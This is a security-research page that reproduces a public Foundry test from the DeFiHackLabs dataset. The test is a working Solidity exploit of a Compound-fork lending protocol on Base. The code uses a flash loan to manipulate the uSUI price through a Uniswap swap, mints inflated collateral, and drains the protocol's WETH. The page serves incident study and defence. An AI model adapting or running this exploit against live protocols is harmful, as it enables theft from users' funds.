Public reproduction file
src/test/2024-10/CompoundFork_exploit.sol
Public reproduction file for dataset entry CompoundFork.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";6// @KeyInfo - Total Lost : $1M7// Attacker : https://basescan.org/address/0x81d5187c8346073b648f2d44b9e269509513aae28// Attack Contract : https://basescan.org/address/0x7562846468089cf0e8f7b38ac53406b8952849019// Vulnerable Contract : https://basescan.org/address/0x93D619623abc60A22Ee71a15dB62EedE3EF4dD5a10// Attack Tx : https://basescan.org/tx/0x6ab5b7b51f780e8c6c5ddaf65e9badb868811a95c1fd64e86435283074d3149e12// @Info13// Vulnerable Contract Code : https://basescan.org/address/0x93D619623abc60A22Ee71a15dB62EedE3EF4dD5a#code15// @Analysis16// Post-mortem :17// Twitter Guy :18// Hacking God :19pragma solidity ^0.8.0;21WETH constant weth = WETH(payable(address(0x4200000000000000000000000000000000000006)));22address constant cWETH = address(0x5c52649d3c1E1d0ddF6a46e1C25A25D9fb148aF8);23address constant uSUI = address(0xb0505e5a99abd03d94a1169e638B78EDfEd26ea4);24address constant cSUI = address(0xA2092F9A2a5dD84D6DF7d175673eC8A7357C551B);25address constant pitfalls = address(0x93D619623abc60A22Ee71a15dB62EedE3EF4dD5a);26address constant UniswapV3Router = address(0xBE6D8f0d05cC4be24d5167a3eF062215bE6D18a5);28struct ExactInputSingleParams {29 address tokenIn;30 address tokenOut;31 int24 tickSpacing;32 address recipient;33 uint256 deadline;34 uint256 amountIn;35 uint256 amountOutMinimum;36 uint160 sqrtPriceLimitX96;37}39contract CompoundFork is BaseTestWithBalanceLog {40 uint256 blocknumToForkFrom = 21_512_062;42 fallback() external payable {}44 function setUp() public {45 vm.createSelectFork("base", blocknumToForkFrom);46 //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit47 fundingToken = address(weth);48 }50 function testExploit() public balanceLog {51 // A reproduction for a unknown attack in base chain.52 // 0x6ab5b7b51f780e8c6c5ddaf65e9badb868811a95c1fd64e86435283074d3149e53 // https://app.blocksec.com/explorer/tx/base/0x6ab5b7b51f780e8c6c5ddaf65e9badb868811a95c1fd64e86435283074d3149e?line=654 // https://x.com/Phalcon_xyz/status/184963643734952772556 EXPLOIT_DO3 it = new EXPLOIT_DO3();58 it.doTask();59 }60}62contract EXPLOIT_DO3 {63 fallback() external payable {}65 function doTask() public payable {66 Flashable(address(0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb)).flashLoan(address(weth), 800 ether, "");67 // console.log("baaa1: %e", weth.balanceOf(address(this)));69 weth.transfer(address(msg.sender), weth.balanceOf(address(this)));70 }72 function onMorphoFlashLoan(uint256, bytes calldata) external {73 // bytes32 data = bytes32(uint256(0));74 // MintWithPermitable(address(0x5c52649d3c1E1d0ddF6a46e1C25A25D9fb148aF8)).mintWithPermit(1 ether, data);75 weth.approve(cWETH, type(uint256).max);77 address(0xf91d26405fB5e489B7c4bbC11b9a5402aE9243D3).call(78 abi.encodeWithSelector(0x38edc837, address(this), true)79 );81 Mintable(cWETH).mint(15 ether);83 {84 address[] memory s = new address[](1);85 s[0] = cSUI;86 IMarketM(address(0xf91d26405fB5e489B7c4bbC11b9a5402aE9243D3)).enterMarkets(s);87 }89 Borrowable(cSUI).borrow(IERC20(uSUI).balanceOf(address(cSUI)));90 // Now I have all the uSUI.92 Helper helper = new Helper();94 {95 weth.transfer(address(helper), weth.balanceOf(address(this)));96 IERC20(uSUI).transfer(address(helper), IERC20(uSUI).balanceOf(address(this)));97 }99 helper.d(address(this));100 // console.log("baaa0: %e", weth.balanceOf(address(this)));102 weth.approve(address(0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb), type(uint256).max);103 }104}106contract Helper {107 fallback() external payable {}109 function d(110 address self111 ) external {112 address(0xf91d26405fB5e489B7c4bbC11b9a5402aE9243D3).call(113 abi.encodeWithSelector(0x38edc837, address(this), true)114 );116 weth.approve(UniswapV3Router, type(uint256).max);117 IUniswapV3Router(UniswapV3Router).exactInputSingle(118 ExactInputSingleParams(address(weth), uSUI, 200, address(this), block.timestamp, 500 ether, 1, 1000 ether)119 );121 // As you can see, this protocol thinks that the price of uSUI goes extremely valuable.122 IUnderlyingPrice(pitfalls).getUnderlyingPrice(cSUI);124 // So we deposit uSUI into the protocol to mint some cSUI.125 IERC20(uSUI).approve(cSUI, type(uint256).max);126 Mintable(cSUI).mint(50 ether);128 // Now we can verify we are extremely rich in this protocol, but it is still fake money.129 IMarketM(0xf91d26405fB5e489B7c4bbC11b9a5402aE9243D3).getAccountLiquidity(address(this));131 // Then we can borrow anything we want,132 // console.log("b0: %e", weth.balanceOf(cWETH));133 Borrowable(cWETH).borrow(weth.balanceOf(cWETH));134 // console.log("b0: %e", weth.balanceOf(cWETH));136 IERC20(uSUI).approve(UniswapV3Router, type(uint256).max);138 IUniswapV3Router(UniswapV3Router).exactInputSingle(139 ExactInputSingleParams(140 uSUI, address(weth), 200, address(this), block.timestamp, IERC20(uSUI).balanceOf(address(this)), 1, 0141 )142 );144 weth.transfer(self, weth.balanceOf(address(this)));146 selfdestruct(payable(address(self)));147 }148}150interface IUniswapV3Router {151 function exactInputSingle(152 ExactInputSingleParams calldata data153 ) external;154}156interface IUnderlyingPrice {157 function getUnderlyingPrice(158 address t159 ) external returns (uint256);160}162interface IMarketM {163 function enterMarkets(164 address[] memory165 ) external;166 function getAccountLiquidity(167 address t168 ) external returns (uint256, uint256);169}171interface IERC20 {172 event Transfer(address indexed from, address indexed to, uint256 value);173 event Approval(address indexed owner, address indexed spender, uint256 value);175 function totalSupply() external view returns (uint256);176 function balanceOf(177 address account178 ) external view returns (uint256);179 function transfer(address to, uint256 value) external returns (bool);180 function allowance(address owner, address spender) external view returns (uint256);181 function approve(address spender, uint256 value) external returns (bool);182 function transferFrom(address from, address to, uint256 value) external returns (bool);183}185interface WETH {186 event Approval(address indexed src, address indexed guy, uint256 wad);187 event Deposit(address indexed dst, uint256 wad);188 event Transfer(address indexed src, address indexed dst, uint256 wad);189 event Withdrawal(address indexed src, uint256 wad);191 fallback() external payable;193 function allowance(address, address) external view returns (uint256);194 function approve(address guy, uint256 wad) external returns (bool);195 function balanceOf(196 address197 ) external view returns (uint256);198 function decimals() external view returns (uint8);199 function deposit() external payable;200 function name() external view returns (string memory);201 function symbol() external view returns (string memory);202 function totalSupply() external view returns (uint256);203 function transfer(address dst, uint256 wad) external returns (bool);204 function transferFrom(address src, address dst, uint256 wad) external returns (bool);205 function withdraw(206 uint256 wad207 ) external;208}210interface Flashable {211 function flashLoan(address token, uint256 assets, bytes calldata data) external;212}214interface MintWithPermitable {215 function mintWithPermit(uint256 mintAmount, bytes calldata signature) external;216}218interface Mintable {219 function mint(220 uint256 a221 ) external;222}224interface Borrowable {225 function borrow(226 uint256 b227 ) external;228}Analysis
Dataset entry
Public Foundry test for “CompoundFork” (2024-10-26). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
11 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/2024-10/AIZPTToken_exp.solSame month in the dataset · 72 lines
- src/test/2024-10/BUBAI_exp.solSame month in the dataset · 95 lines
- src/test/2024-10/Erc20transfer_exp.solSame month in the dataset · 40 lines
- src/test/2024-10/FireToken_exp.solSame month in the dataset · 146 lines
- src/test/2024-10/HYDT_exp.solSame month in the dataset · 73 lines
- src/test/2024-10/LavaLending_exp.solSame month in the dataset · 451 lines
- src/test/2024-10/MorphoBlue_exp.solSame month in the dataset · 414 lines
- src/test/2024-10/P719Token_exp.solSame month in the dataset · 245 lines
- src/test/2024-10/SASHAToken_exp.solSame month in the dataset · 134 lines
- src/test/2024-10/VISTA_exp.solSame month in the dataset · 87 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x81d5187c8346073b648f2d44b9e269509513aae2
- Attack Contract
0x7562846468089cf0e8f7b38ac53406b895284901
- Vulnerable Contract
0x93d619623abc60a22ee71a15db62eede3ef4dd5a
- Attack Tx
0x6ab5b7b51f780e8c6c5ddaf65e9badb868811a95c1fd64e86435283074d3149e
- Explorer: https://basescan.org/address/0x81d5187c8346073b648f2d44b9e269509513aae2
- Explorer: https://basescan.org/address/0x7562846468089cf0e8f7b38ac53406b895284901
- Explorer: https://basescan.org/address/0x93D619623abc60A22Ee71a15dB62EedE3EF4dD5a
- Explorer: https://basescan.org/address/0x93D619623abc60A22Ee71a15dB62EedE3EF4dD5a#code
- Reference: https://x.com/Phalcon_xyz/status/1849636437349527725
File record
- Name
- CompoundFork
- Path
- src/test/2024-10/CompoundFork_exploit.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- d17d08e4d326edcd676c706888e647c047648953
- Language
- Solidity
- Size
- 229 lines
- Date
- 2024-10-26
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-10/CompoundFork_exploit.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob d17d08e4d326edcd676c706888e647c047648953, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.